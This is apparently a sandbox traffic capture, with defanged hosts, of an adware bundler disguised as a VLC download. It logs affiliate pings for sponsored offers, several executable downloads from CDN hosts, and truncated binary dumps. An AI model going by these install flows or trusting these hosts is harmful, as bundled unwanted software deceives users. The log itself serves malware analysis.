Referer: hXXp://bi.bisrv.com/downloader/network_marimedia_1/vlcmediaplayervfps/fc5ae9ef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5ae9ef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2q90bop9bptps.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 26401

Connection: keep-alive

Server: nginx

Date: Tue, 10 Feb 2015 14:52:24 GMT

Last-Modified: Tue, 10 Feb 2015 14:45:45 GMT

ETag: "54da1999-6721"

Expires: Tue, 10 Feb 2015 15:02:24 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

X-Cache: RefreshHit from cloudfront

Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: DlfoHxCKkUiN7mq1ou_blyQM7Edf3dzoiUqgpdMlPaVKSkUM3Dz6ng==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=mystartsearch&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=3&index_in_screen=1&index_in_session=3&0.06155158010526135 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_marimedia_1/vlcmediaplayervfps/fc5ae9ef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5ae9ef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1387656045.1423621778.1423621778.1423621778.1; __utmb=1.1.10.1423621778; __utmz=1.1423621778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:30:24 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 11 Feb 2015 02:30:24 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /sd?is=sm HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 12 Feb 2015 02:30:33 GMT

Date: Wed, 11 Feb 2015 02:30:33 GMT

Content-Range: bytes 0-583215/583216

Content-Length: 583216

Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
.........................F.......................................s....
..................@...................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
[email protected]..<.....W..?....;.tBj\V
. [email protected]...|p@[email protected]:.u.9].t.j.
.....Wh.0G...C..W..tp@..^...j..0...S.....P..F...5...j......j........j.
[email protected]][email protected]....
..E.PWh. [email protected]#.E.;.v%8.t!V..F..;.t...,P.u...C.....E.......9]..
.....h. [email protected]. [email protected]
[email protected].~B....h.0G.V.qB..P.^
=..P..B..V..D...P.@..}..|1V.IE..3.;.t..M....QP..`[email protected].........#<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d22bq5tzj1f5l6.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 08 Feb 2015 06:12:59 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-285557/285558

Age: 2517

X-Cache: Hit from cloudfront

Via: 1.1 761f19bc2f5721b0be0a41147e1e925f.cloudfront.net (CloudFront)

X-Amz-Cf-Id: e3cm76VtqBshqz0FayLAfpRzrOHU6WIOFHY_2AUMF0VMLkvcbv9gFg==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 11 Feb 2015 02:29:35 GMT

Content-Type: application/octet-stream

Content-Length: 22630361

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 0-22630360/22630361

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
..........^...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected]...@[email protected]
rc....^.......`...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ....

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=160816-

User-Agent: Better Installer(Mozilla)

Host: d22bq5tzj1f5l6.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 160816

Connection: keep-alive

Date: Sun, 08 Feb 2015 04:52:27 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 160816-321631/321632

Age: 709

X-Cache: Hit from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: iB1DD7aj8NlL0s1oeXlI2rXK0BkbuKfTw8aEul1n6fEIw3BSsZlCxA==
..C...T.C.Zf.1f.0......Ju..............L...@;.v.....~....0....C.......
[email protected]............{......95..C...T.......M._^3.[.G
.....j.h..C.......M..........}......._h.u..q....E.;C...W...h ....jD..Y
......F.........wh.....#.S.u......YY.E..........u..vh..l C...u..Fh= .C
.t.P.....Y.^hS.=h C....Fp...........C........j......Y.e...C..$.C..C..(
.C..C..,.C.3..E....}[email protected].=....}[email protected][email protected].=..
..}[email protected] C...u..H.C.= .C.t.P.....Y..H.C.S...E....
.......0j......Y..%...u .. .C.t.S.....Y..D...........e...E..;.....=..C
..u.j..V...Y....C.....3....U...M.VW..t..}...u..KD..j.^.0..|.....A.U...
u.........>.t.FOu...t. ......B..t.Ou...u......D..j"Y......3._^]...U
..3.S3.@9].|FVW..t>.E.... ....E....<..7.E..0..;..YY..u..M.....9.
.y.N.u....^.;].~._^3......[..]...U..Q..tP.>.tKh.IC.V.....YY..t:h.IC
.V.....YY..u.j..E.Ph... .w....!C...t).E...V..;..Y.E...j..E.Ph... .w...
.!C...u.3....}..u.... C.....U..3.f.M.f;.pIC.t.......r.3.@].3.]...V3.. 
.A.B<.w.......A.<.w..........t......u...^.3...B..A|...Z~...a...w
[email protected]....|.t.C.3..E.VW.}.................jx.E.P..........%.........
PW... [email protected]:..YY..u.W.....Y..t..................
.................M._3.^.&.........U..QV..j..E.P..%....h... .....P...!C
...u.3..);u.t!.}..t..E..0W.......V...m ..Y;._t.3.@^....U....|.t.C.3..E
.SVW.}...................... C...jx.E.P.F.....%.........PW....u..f..3.
@.c....E.P.v..L9..YY........jx.E.P.F.....%.........PW....t..E.P.6..9..
YY..u..N......~..R.F..uO.F...t,P.E.P.6.,:.......u..6.N...~......Y;<<< skipped >>>

POST /ocsp HTTP/1.1

Host: clients1.google.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Length: 107

Content-Type: application/ocsp-request

Connection: keep-alive

0i0g0E0C0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.._..S...a..0.0... .....0...
0... .....0..
HTTP/1.1 200 OK

Content-Type: application/ocsp-response

Date: Wed, 11 Feb 2015 02:30:50 GMT

Expires: Sun, 15 Feb 2015 02:30:50 GMT

Cache-Control: public, max-age=345600

Server: ocsp_responder

Content-Length: 463

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic,p=0.02
0..........0..... .....0......0...0......J......h.v....b..Z./..2015021
0190633Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
._..S...a....20150210190633Z....20150217190633Z0...*.H.............%..
=...2KNi...7Y...#.......(hn...z^e.s...`?.H.-?.c,-....[........%.?...=.
t0...^...........[...T...Z....o.......5j..Z...I..v.....{1-j.....?*.._.
....%....I8k.~.J&./.^....Z.;=..(.!d.23.....<.T.,.a..t.h..B4%....}._
..Q#.1......r].V4 ..lK.Qz.:..8.?4....-....C^..HTTP/1.1 200 OK..Content
-Type: application/ocsp-response..Date: Wed, 11 Feb 2015 02:30:50 GMT.
.Expires: Sun, 15 Feb 2015 02:30:50 GMT..Cache-Control: public, max-ag
e=345600..Server: ocsp_responder..Content-Length: 463..X-XSS-Protectio
n: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Protocol: 80:
quic,p=0.02..0..........0..... .....0......0...0......J......h.v....b.
.Z./..20150210190633Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h
.v....b..Z./.._..S...a....20150210190633Z....20150217190633Z0...*.H...
..........%..=...2KNi...7Y...#.......(hn...z^e.s...`?.H.-?.c,-....[...
.....%.?...=.t0...^...........[...T...Z....o.......5j..Z...I..v.....{1
-j.....?*.._.....%....I8k.~.J&./.^....Z.;=..(.!d.23.....<.T.,.a..t.
h..B4%....}._..Q#.1......r].V4 ..lK.Qz.:..8.?4....-....C^......
<<< skipped >>>

POST /ocsp HTTP/1.1

Host: clients1.google.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Length: 107

Content-Type: application/ocsp-request

Connection: keep-alive

0i0g0E0C0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./....mP

-...0.0... .....0...
0... .....0..
HTTP/1.1 200 OK

Content-Type: application/ocsp-response

Date: Wed, 11 Feb 2015 02:30:51 GMT

Expires: Sun, 15 Feb 2015 02:30:51 GMT

Cache-Control: public, max-age=345600

Server: ocsp_responder

Content-Length: 463

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic,p=0.02
0..........0..... .....0......0...0......J......h.v....b..Z./..2015021
0190046Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
...mP..-.....20150210190046Z....20150217190046Z0...*.H..............-K
q.I..$c....9.....p.;$..3..z.*..2d.-........(.{.OO.P...q3L........3a...
......6..."i#....,....$C.O..>/..A..sf.k...l..v)8..b........bj.$3B.^
..*I...;.K.J..%#..........H..'A..N.a.9.2.c..<..(...5@.?F=..L..h....
]'P#e.W....bUUQ.1......&...P.Qr...l.....r..y....{HTTP/1.1 200 OK..Cont
ent-Type: application/ocsp-response..Date: Wed, 11 Feb 2015 02:30:51 G
MT..Expires: Sun, 15 Feb 2015 02:30:51 GMT..Cache-Control: public, max
-age=345600..Server: ocsp_responder..Content-Length: 463..X-XSS-Protec
tion: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Protocol: 
80:quic,p=0.02..0..........0..... .....0......0...0......J......h.v...
.b..Z./..20150210190046Z0k0i0A0... ..........j.....p.I.#z...(~d..J....
..h.v....b..Z./....mP..-.....20150210190046Z....20150217190046Z0...*.H
..............-Kq.I..$c....9.....p.;$..3..z.*..2d.-........(.{.OO.P...
q3L........3a.........6..."i#....,....$C.O..>/..A..sf.k...l..v)8..b
........bj.$3B.^..*I...;.K.J..%#..........H..'A..N.a.9.2.c..<..(...
5@.?F=..L..h....]'P#e.W....bUUQ.1......&...P.Qr...l.....r..y....{..<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=120612-

User-Agent: Better Installer(Mozilla)

Host: d22bq5tzj1f5l6.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 201020

Connection: keep-alive

Date: Sun, 08 Feb 2015 04:52:27 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 120612-321631/321632

Age: 709

X-Cache: Hit from cloudfront

Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: WsYjvLCsh5oOi6Ma4mMziesXWes7NhwcAJ7x5UCg7z2rcvyLoiFYRQ==

....p...Q. .t.3.......t....3..........P.;Q.tv..Q...p. .t.3.......t....
........p...Q. .t.3.......t......r.....p...Q. .t.3.......t......S.....
p...Q. .t.3.......t....3.....0....P.;Q.tu.....Q. .t.3.......t.........
...p...Q. .t.3.......t............p...Q. .t.3.......t............p...Q
. .t.3.......t....3...........I...@. ...8...3.......D...(....P.;Q.tu..
...Q. .t.3.......t......c.....p...Q. .t.3.......t......D.....p...Q. .t
.3.......t......%.....p...Q. .t.3.......t....3..........P.;Q.tu.....Q.
 .t.3.......t............p...Q. .t.3.......t............p...Q. .t.3...
....t............p...Q. .t.3.......t....3.....{....P.;Q.tu.....Q. .t.3
.......t......U.....p...Q. .t.3.......t......6.....p...Q. .t.3.......t
............p...Q. .t.3.......t....3..........P.;Q.tu.....Q. .t.3.....
..t............p...Q. .t.3.......t............p...Q. .t.3.......t.....
.......p...Q. .t.3.......t....3.....m....P.;Q.tu.....Q. .t.3.......t..
....G.....p...Q. .t.3.......t......(.....p...Q. .t.3.......t..........
..p...Q. .t.3.......t....3..........P.;Q.tv..Q...p. .t.3.......t......
......Q...p. .t.3.......t............Q...p. .t.3.......t............Q.
..p. .t.3.......t....3.....^....P.;Q.tu.....Q. .t.3.......t......8....
.p...Q. .t.3.......t............p...Q. .t.3.......t............p...Q. 
.t.3.......t....3.........f.P.f;Q...f.....Q...p. .......3.......T.....
...........P.;Q.tv..Q...p. .t.3.......t......z.....p...Q. .t.3.......t
......[.....p...Q. .t.3.......t......<.....p...Q. .t.3.......t....3
..........P.;Q.tu.....Q. .t.3.......t............p...Q. .t.3......

<<< skipped >>>

GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:29:35 GMT

Content-Type: application/octet-stream

Content-Length: 22630361

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
..........^...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected]...@[email protected]
rc....^.......`...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=643364-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 643364

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 10 Feb 2015 09:27:20 GMT

Accept-Ranges: bytes

ETag: "da4bdcc41345d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 11 Feb 2015 02:30:25 GMT

Content-Range: bytes 643364-1286727/1286728

X-Cache: Miss from cloudfront

Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: lvsKiEYSe-FkhaN088bT3x2tLcaBDZtCSMfStKJLywHnwusz8CmXgA==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 643364..Connection: keep-alive..Cache-Control: no-cach
e..Last-Modified: Tue, 10 Feb 2015 09:27:20 GMT..Accept-Ranges: bytes.
.ETag: "da4bdcc41345d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: A
SP.NET..Date: Wed, 11 Feb 2015 02:30:25 GMT..Content-Range: bytes 6433
64-1286727/1286728..X-Cache: Miss from cloudfront..Via: 1.1 15191055e4
3ba835d0fead01ae84015c.cloudfront.net (CloudFront)..X-Amz-Cf-Id: lvsKi
EYSe-FkhaN088bT3x2tLcaBDZtCSMfStKJLywHnwusz8CmXgA==..............&..Lj
K....,.D...k......t....e.X)]........*.....W..G....m.4.j:....c.)....Im.
d.....5t.......sf....4..A.yf..Nh\.....-.Z...$.X..O.j)e.M`.gyxT.j..\_..
:..rn*..Y.|.F.Y.iR17.m.{..91....fd....q.|.<..6..M..#....?...|.'>
...........8...g..>...M........Y5.d.T.LQ.nN.B,#7.;.p...{.g.En.^.{..
........ ..,..Qi....7>.....y:..l.h.G...k[./..._.E...*[email protected]..
...""....u..>(A..G...[% g....f....N....~#j.......Y}L........e.D.p..
[email protected]"...........t.f,.U]:3G.'.1... .n............=f...s.M...L..(.R...v.
zR..--..."tt.&...Y...X..........tc..f......IYU.....P....T...o......|7.
.!K..Rl.\...2K..w.fW.c....Gj..kt-B.K.._...>gc[..)....;..m..,..8....
y.......Tv.(....`\.,..g"!n..<.<.0.eXk.qcV/d..a.L.xr[.1.lg7L*.(.Z
......l...C.]...p..8.B.b...c........v..rU..#...s..)...........K\...}..
}..NG9.l0..:....M.........u.J,<u....[T......bA{.Sq........e2.C.o.,.
.`|..|.=..)...nS.....1.x...p..M.J.....1......fdO........:..S....u;..w.
.H...dHt..OT.l#S/..6v...t...B[.u....F.....c\Z|.87.......%|..D..,..<<< skipped >>>

GET /analytics.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Wed, 11 Feb 2015 00:58:14 GMT

Expires: Wed, 11 Feb 2015 02:58:14 GMT

Last-Modified: Fri, 16 Jan 2015 00:55:08 GMT

X-Content-Type-Options: nosniff

Content-Type: text/javascript

Vary: Accept-Encoding

Content-Encoding: gzip

Server: Golfe2

Content-Length: 11479

Alternate-Protocol: 80:quic,p=0.02

Age: 5604

Cache-Control: public, max-age=7200
...........}iw.;..w..P.vW..2.NN.....'.I...,.$cb....1....gK.*0....^}.jk
...,%<..T......B..H....j....G...p`..8I.{.=...L&&{.;7.i&....N...;oT(
E...M6.....tlN.t..8.K....P.5t.V%[email protected]...$8..:[email protected].
.jldf...9.4.=.R.^..{.4..4...AS#Ip:.P.=*6..(.0..C%1.@......^....#3..i..
V.`[email protected].'4..0..a.ZL..M8.g4..l..(9.......N..)wA..5.......{....4...(.
%...\.R.=*........?...$.#....A7...I...F*....0..Q.>..~.....Q...4.c.N
 .Q...<.y....=.....4..F..@.%:..ue6....M{$.T...M .'..a..~Am._./.....
..5...|...&;.M..D.f...yW..ubZ..e...Tjsn.B'.sIm.;.%J^hT.....t..l:....&g
t;.T.j*..FM..gZ..2...za.2..M..S.d8..d.P...S..#..ZS.J...4U...m.I.g6.Tu.
6..4iw..[.l...0m.....e6.Ghk..[}wW..~Tj%].;.{........x.................
.2U......g...p.s<....W..j....{..|.... V.r.GX.Y...;.i.y'.....O0...1&
..c4j....f.P.l........lf.AA.`..O..8[Y.=L........u.*..7vR6<.-.~..-.k
>.?W5t.b..wj.D..o.wC....-?U...4.vF..........Z.%.D...LV.#[..Vu..o...
...u..<uw. [email protected]._..'uJ..Q..d.../.\LK.D7s.j...I(...M
U..0..eF~.X...p.Ai......%4........O.....M230..mP..5%*..5(3..:......0..
P.......MtC..3....\..m.xl...f.....#....6...>K..K...@.')vM&j..e.h..,
(.U..C^[email protected]:.*&.E....d...q......{@D.h.].4u.C..i..?=4t.M.. .
|...vG.4.F.......N.Ig.......$.....;....\^^.AD..i'.!......I.>1...7.?
....V.x.xs...I...:.=.k...f.o..........D.f..o..I....J"u..6in.C...u?....
8.s.k.b...ts}}0.. ..Q:.....d..|.X...TB'..R|..F..j].<:CD....!.L..j.t
...P.....O{LH.F.%...?..DDS.z...?1w....S.I..P~T.#.....R......?. RLh....
R..1...=jy.....j.jm.y.8u.(...}..%........F....&}..r..`..k.t..,...V<<< skipped >>>

GET /r/collect?v=1&_v=j32&a=688910401&t=pageview&_s=1&dl=http://VVV.appshat.com/home&ul=en-us&de=utf-8&dt=Apps Hat&sd=32-bit&sr=1716x901&vp=1018x770&je=0&_u=MEAAAAgAI~&jid=2029049009&cid=1387098998.1423621902&tid=UA-42656881-1&_r=1&z=1926089530 HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Date: Wed, 11 Feb 2015 02:31:39 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

Last-Modified: Sun, 17 May 1998 03:00:00 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Server: Golfe2

Content-Length: 35

Alternate-Protocol: 80:quic,p=0.02

GIF89a.............,...........D..;HTTP/1.1 200 OK..Access-Control-All
ow-Origin: *..Date: Wed, 11 Feb 2015 02:31:39 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..Last-Modified: Sun, 17 May 1998 03:00:00 GMT..X-C
ontent-Type-Options: nosniff..Content-Type: image/gif..Server: Golfe2.
.Content-Length: 35..Alternate-Protocol: 80:quic,p=0.02..GIF89a.......
......,...........D..;..

GET /pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=appshat_madness&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=4&index_in_screen=1&index_in_session=4&0.12619940048748773 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_marimedia_1/vlcmediaplayervfps/fc5ae9ef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5ae9ef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1387656045.1423621778.1423621778.1423621778.1; __utmb=1.1.10.1423621778; __utmz=1.1423621778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

